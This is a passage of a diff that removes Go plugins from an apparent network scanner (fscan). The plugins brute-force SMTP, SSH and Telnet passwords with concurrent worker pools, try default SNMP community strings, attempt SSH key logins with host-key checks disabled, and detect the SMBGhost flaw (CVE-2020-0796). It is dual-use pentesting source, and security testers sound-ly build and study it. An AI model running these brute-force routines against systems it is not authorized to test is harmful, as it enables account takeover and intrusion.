connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
|
||||
// 在协程中尝试连接
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := SmtpConn(info, credential.Username, credential.Password, timeoutSeconds)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var success bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
cancel()
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
return &SmtpScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
cancel() // 释放连接上下文
|
||||
|
||||
if success {
|
||||
isAnonymous := credential.Username == "" && credential.Password == ""
|
||||
return &SmtpScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
IsAnonymous: isAnonymous,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &SmtpScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// SmtpConn 尝试 SMTP 连接
|
||||
func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
// 设置连接超时
|
||||
dialer := &net.Dialer{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
conn, err := dialer.Dial("tcp", addr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读写超时
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
client, err := smtp.NewClient(conn, host)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 尝试认证
|
||||
if user != "" {
|
||||
auth := smtp.PlainAuth("", user, pass, host)
|
||||
err = client.Auth(auth)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试发送邮件(测试权限)
|
||||
err = client.Mail("[email protected]")
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// saveSmtpResult 保存SMTP扫描结果
|
||||
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if result.IsAnonymous {
|
||||
successMsg = fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smtp",
|
||||
"type": "anonymous-access",
|
||||
"anonymous": true,
|
||||
}
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smtp",
|
||||
"type": "weak-password",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
-144
@@ -1,144 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/gosnmp/gosnmp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SNMPScan 执行SNMP服务扫描
|
||||
func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
portNum, _ := strconv.Atoi(info.Ports)
|
||||
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
|
||||
|
||||
tried := 0
|
||||
total := len(defaultCommunities)
|
||||
|
||||
for _, community := range defaultCommunities {
|
||||
tried++
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
sysDesc string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(community string) {
|
||||
success, sysDesc, err := SNMPConnect(info, community, portNum)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
sysDesc string
|
||||
err error
|
||||
}{success, sysDesc, err}:
|
||||
default:
|
||||
}
|
||||
}(community)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community)
|
||||
if result.sysDesc != "" {
|
||||
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
|
||||
}
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "snmp",
|
||||
"community": community,
|
||||
"type": "weak-community",
|
||||
"system": result.sysDesc,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
|
||||
target, community, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// SNMPConnect 尝试SNMP连接
|
||||
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
|
||||
host := info.Host
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
snmp := &gosnmp.GoSNMP{
|
||||
Target: host,
|
||||
Port: uint16(portNum),
|
||||
Community: community,
|
||||
Version: gosnmp.Version2c,
|
||||
Timeout: timeout,
|
||||
Retries: 1,
|
||||
}
|
||||
|
||||
err := snmp.Connect()
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer snmp.Conn.Close()
|
||||
|
||||
oids := []string{"1.3.6.1.2.1.1.1.0"}
|
||||
result, err := snmp.Get(oids)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
|
||||
if len(result.Variables) > 0 {
|
||||
var sysDesc string
|
||||
if result.Variables[0].Type != gosnmp.NoSuchObject {
|
||||
sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte)))
|
||||
}
|
||||
return true, sysDesc, nil
|
||||
}
|
||||
|
||||
return false, "", fmt.Errorf("认证失败")
|
||||
}
|
||||
-359
@@ -1,359 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SshCredential 表示一个SSH凭据
|
||||
type SshCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// SshScanResult 表示SSH扫描结果
|
||||
type SshScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential SshCredential
|
||||
}
|
||||
|
||||
// SshScan 扫描SSH服务弱密码
|
||||
func SshScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 创建全局超时上下文
|
||||
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer globalCancel()
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan *SshScanResult, 1)
|
||||
|
||||
// 启动一个协程进行扫描
|
||||
go func() {
|
||||
// 如果指定了SSH密钥,使用密钥认证而非密码爆破
|
||||
if Common.SshKeyPath != "" {
|
||||
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath))
|
||||
|
||||
// 尝试使用密钥连接各个用户
|
||||
for _, user := range Common.Userdict["ssh"] {
|
||||
select {
|
||||
case <-globalCtx.Done():
|
||||
Common.LogDebug("全局超时,中止密钥认证")
|
||||
return
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
|
||||
|
||||
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout)
|
||||
if success {
|
||||
credential := SshCredential{
|
||||
Username: user,
|
||||
Password: "", // 使用密钥,无密码
|
||||
}
|
||||
|
||||
resultChan <- &SshScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
return
|
||||
} else {
|
||||
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug("所有用户密钥认证均失败")
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
|
||||
// 否则使用密码爆破
|
||||
credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum)
|
||||
resultChan <- result
|
||||
}()
|
||||
|
||||
// 等待结果或全局超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
logAndSaveSuccess(info, target, result)
|
||||
return nil
|
||||
}
|
||||
case <-globalCtx.Done():
|
||||
Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
|
||||
return fmt.Errorf("全局超时,扫描未完成")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// attemptKeyAuth 尝试使用SSH密钥认证
|
||||
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
|
||||
pemBytes, err := ioutil.ReadFile(keyPath)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取密钥失败: %v", err)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("解析密钥失败: %v", err)
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
Timeout: time.Duration(timeoutSeconds) * time.Second,
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// generateCredentials 生成所有用户名密码组合
|
||||
func generateCredentials(users, passwords []string) []SshCredential {
|
||||
var credentials []SshCredential
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, SshCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
|
||||
// concurrentSshScan 并发扫描SSH服务
|
||||
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
|
||||
// 限制并发数
|
||||
if maxThreads <= 0 {
|
||||
maxThreads = 10 // 默认值
|
||||
}
|
||||
|
||||
if maxThreads > len(credentials) {
|
||||
maxThreads = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *SshScanResult, 1)
|
||||
workChan := make(chan SshCredential, maxThreads)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxThreads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := trySshCredential(info, credential, timeout, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok {
|
||||
return result
|
||||
}
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("父上下文取消,中止所有扫描")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// trySshCredential 尝试单个SSH凭据
|
||||
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
success, err := attemptSshConnection(info, credential.Username, credential.Password, timeout)
|
||||
if success {
|
||||
return &SshScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &SshScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// attemptSshConnection 尝试SSH连接
|
||||
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
connChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := sshConnect(info, username, password, timeoutSeconds)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case connChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-connChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, fmt.Errorf("连接超时")
|
||||
}
|
||||
}
|
||||
|
||||
// sshConnect 建立SSH连接并验证
|
||||
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
|
||||
auth := []ssh.AuthMethod{ssh.Password(password)}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: auth,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
Timeout: time.Duration(timeoutSeconds) * time.Second,
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// logAndSaveSuccess 记录并保存成功结果
|
||||
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) {
|
||||
var successMsg string
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ssh",
|
||||
"username": result.Credential.Username,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
// 区分密钥认证和密码认证
|
||||
if Common.SshKeyPath != "" {
|
||||
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
|
||||
target, result.Credential.Username, Common.SshKeyPath)
|
||||
details["auth_type"] = "key"
|
||||
details["key_path"] = Common.SshKeyPath
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details["auth_type"] = "password"
|
||||
details["password"] = result.Credential.Password
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,161 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
||||
func SmbGhost(info *Common.HostInfo) error {
|
||||
// 如果开启了暴力破解模式,跳过该检测
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行实际的SMB Ghost漏洞扫描
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
|
||||
func SmbGhostScan(info *Common.HostInfo) error {
|
||||
// 设置扫描参数
|
||||
ip := info.Host
|
||||
port := 445 // SMB服务默认端口
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造目标地址
|
||||
addr := fmt.Sprintf("%s:%v", ip, port)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close() // 确保连接最终被关闭
|
||||
|
||||
// 发送SMB协议探测数据包
|
||||
if _, err = conn.Write([]byte(pkt)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 准备接收响应
|
||||
buff := make([]byte, 1024)
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应数据
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
// 分析响应数据,检测是否存在漏洞
|
||||
// 检查条件:
|
||||
// 1. 响应包含"Public"字符串
|
||||
// 2. 响应长度大于等于76字节
|
||||
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
|
||||
// 发现漏洞,记录结果
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
@@ -1,769 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TelnetCredential 表示一个Telnet凭据
|
||||
type TelnetCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// TelnetScanResult 表示Telnet扫描结果
|
||||
type TelnetScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential TelnetCredential
|
||||
NoAuth bool
|
||||
}
|
||||
|
||||
// TelnetScan 执行Telnet服务扫描和密码爆破
|
||||
func TelnetScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []TelnetCredential
|
||||
for _, user := range Common.Userdict["telnet"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, TelnetCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveTelnetResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Telnet扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentTelnetScan 并发扫描Telnet服务
|
||||
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *TelnetScanResult, 1)
|
||||
workChan := make(chan TelnetCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryTelnetCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success || result.NoAuth {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据或无需认证,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
